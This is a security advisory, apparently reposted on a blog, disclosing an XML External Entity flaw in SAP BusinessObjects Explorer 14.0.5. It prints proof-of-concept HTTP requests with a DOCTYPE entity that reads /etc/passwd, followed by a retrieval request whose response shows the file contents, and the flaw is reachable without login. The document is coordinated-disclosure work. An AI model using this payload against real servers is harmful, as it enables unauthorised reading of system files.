2014 m. spalio 14 d., antradienis

SAP Security Note 1908531 - XXE in BusinessObjects Explorer

#######################################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#######################################################################
#
# Product:           BusinessObjects Explorer
# Vendor:            SAP AG
# Subject:           Untrusted XML input parsing possible in SBOP Explorer
# Risk:              High
# Effect:            Remotely exploitable
# Author:            Stefan Horlacher
# Date:              2014-10-10
# SAP Security Note: 1908531 [0]
#
#######################################################################

Abstract:
-------------
BusinessObjects Explorer is vulnerable against XML External Entity (XXE)
attacks. This affected the whole application and not only the examples
described below.
This vulnerability could be triggered as unauthenticated user, as the
login request uses vulnerable XML processing as well.


Affected:
---------
Vulnerable:
SAP BusinessObjects Explorer version 14.0.5 (build 882)

Not tested:
Other versions of BusinessObjects Explorer


Technical Description:
----------------------
BusinessObjects Explorer does not validate user-defined XML inputs.
Additionally, the service does run an XML interpreter allowing
references to external entities. This leads to XML External Entity (XXE)
attacks [1].

In the following example, an explorationSpaceUpdate request has been
used to store in the value of a country the content of file /etc/passwd:

        URL: /explorer/polestar_xml.jsp
        Request extract:
                POST /explorer/polestar_xml.jsp HTTP/1.1
                [CUT BY COMPASS]
                Content-Length: 33258
=>              xmlParameter=<!DOCTYPE dataDiscovery [ <!ENTITY include SYSTEM "/etc/passwd">]>
                <dataDiscovery><headers><correlationId>7E7B01A6-E238-716E-2082-
                0EB94532438F</correlationId><transactionId>0F14D6BC-ED78-8570-1415-
                0EB94532416E</transactionId></headers><session token="[CUT BY COMPASS]"
                locale="en_US"/><request><explorationSpaceUpdate infoObjectCUID="[CUT BY COMPASS]"
                displayName="" infospaceVersion="2" tip="[CUT BY COMPASS]" [CUT BY COMPASS]
                <value>%26include;</value><items selected="[CUT BY
                COMPASS]"/></row><row><value>AT</value><items selected="[CUT BY
                COMPASS]"/></row><row><value>AU</value><items selected="[CUT BY
                COMPASS]"/></row><row><value>BD</value><items
                [CUT BY COMPASS]
        Response extract:
                HTTP/1.1 200 OK
                [CUT BY COMPASS]
                Content-Length: 214
                <?xml version="1.0" encoding="UTF-8"
=>              standalone="no"?><dataDiscovery><response><explorationSpaceUpdate id="[CUT BY COMPASS]"
                infoObjectCUID="[CUT BY COMPASS]"/></response></dataDiscovery>


The following explorationSpaceDetail request has been used to retrieve
the stored value.

        URL: /explorer/polestar_xml.jsp
        Request extract:
                POST /explorer/polestar_xml.jsp HTTP/1.1
                [CUT BY COMPASS]
                Content-Length: 533
                xmlParameter=%3CdataDiscovery%3E%3Cheaders%3E%3CcorrelationId%3E[CUT BY
                COMPASS]%3C%2FcorrelationId%3E%3CtransactionId%3E[CUT BY
                COMPASS]%3C%2FtransactionId%3E%3C%2Fheaders%3E%3Csession%20token%3D%22[CUT BY
=>              COMPASS]%22%20locale%3D%22en%5FUS%22%2F%3E%3Crequest%3E%3CexplorationSpaceDetail%20id%3D
                %22[CUT BY COMPASS]%22%2F%3E%3C%2Frequest%3E%3C%2FdataDiscovery%3E
        Response extract:
                HTTP/1.1 200 OK
                [CUT BY COMPASS]
=>              <value>root:!:0:0::/:/usr/bin/ksh
                [CUT BY COMPASS]


Timeline:
---------
2013-06-06:     Discovery by Stefan Horlacher
2013-06-26:     Initial vendor notification
2014-06-10:     Vendor releases patch and SAP Security Note 1908531
2014-10-10:     Disclosure of the advisory


References:
-----------
[0] https://service.sap.com/sap/support/notes/1908531
[1] https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing

Komentarų nėra:

Rašyti komentarą